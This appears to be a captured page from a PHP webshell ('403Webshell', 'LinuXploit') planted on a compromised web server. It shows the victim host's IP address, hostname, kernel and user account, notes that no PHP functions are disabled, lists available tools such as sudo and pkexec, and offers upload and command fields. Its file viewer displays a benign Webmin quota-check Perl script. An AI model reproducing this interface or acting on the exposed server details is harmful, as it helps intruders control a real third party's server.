403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/quotacheck.cgi
#!/usr/bin/perl
# Actually check quotas

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newquotacheck_ecannot'});
&ReadParse();
&ui_print_unbuffered_header(undef, $text{'newquotacheck_title'}, "");

# Validate inputs
push(@quotafs, "home") if (&has_home_quotas() && $in{'home'});
push(@quotafs, "mail") if (&has_mail_quotas() && $in{'mail'});
@quotafs || &error($text{'newquotacheck_enone'});

# Run the checks
&require_useradmin();
foreach $fs (@quotafs) {
	$dir = $config{$fs.'_quotas'};
	if ($in{'who'} == 0 || $in{'who'} == 2) {
		# Check users
		&$first_print(&text('newquotacheck_udoing', "<tt>$dir</tt>"));
		$out = &quota::quotacheck($dir, 1);
		print "<pre>$out</pre>";
		&$second_print($text{'setup_done'});
		}
	if ($in{'who'} == 1 || $in{'who'} == 2) {
		# Check groups
		&$first_print(&text('newquotacheck_gdoing', "<tt>$dir</tt>"));
		$out = &quota::quotacheck($dir, 2);
		print "<pre>$out</pre>";
		&$second_print($text{'setup_done'});
		}
	}

&run_post_actions();
&webmin_log("quotacheck");
&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit